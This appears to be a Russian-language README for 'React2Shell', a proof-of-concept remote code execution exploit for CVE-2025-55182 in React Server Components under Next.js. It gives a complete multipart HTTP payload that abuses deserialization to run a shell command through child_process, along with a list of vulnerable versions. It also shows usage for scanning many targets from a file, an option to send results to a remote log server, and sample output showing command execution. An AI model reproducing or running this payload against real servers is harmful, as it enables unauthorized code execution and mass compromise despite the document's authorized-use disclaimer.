
React2Shell — это proof-of-concept эксплойт для CVE-2025-55182, затрагивающий уязвимые реализации React Server Components (RSC) в Next.js.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Автор: INDRA
Этот проект предоставляется только в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
Используйте этот эксплойт только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
React2Shell — это эксплойт уровня proof-of-concept для CVE-2025-55182, поражающий уязвимые реализации React Server Components (RSC) в Next.js.
Эксплойт отправляет специально сформированный multipart-запрос, который использует уязвимый процесс десериализации и извлекает вывод команды через digest редиректа в ответе приложения.
В случае успеха эксплойт отображает вывод выполненной команды прямо в терминале.
Python 3.8+
Установите зависимости:
pip install requests urllib3
.
├── exploit.py
└── README.md
| Версия | Статус |
|---|---|
| 19.0 | ⚠ Уязвима |
| 19.1.0 | ⚠ Уязвима |
| 19.1.1 | ⚠ Уязвима |
| 19.2.0 | ⚠ Уязвима |
| 19.0.1 | ✅ Исправлена |
| 19.1.2 | ✅ Исправлена |
| 19.2.1 | ✅ Исправлена |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Запуск
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
| Параметр | Описание |
|---|---|
-u | URL цели |
-f | Файл с целевыми доменами |
-o | Сохранить уязвимые цели локально |
-l | Отправить результаты на удалённый лог-сервер |
-h | Показать справку |
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
Несанкционированное использование данного программного обеспечения против систем без разрешения может нарушать местные, национальные или международные законы.
Автор не несёт ответственности за любое неправомерное использование.
Удачной охоты 🕷️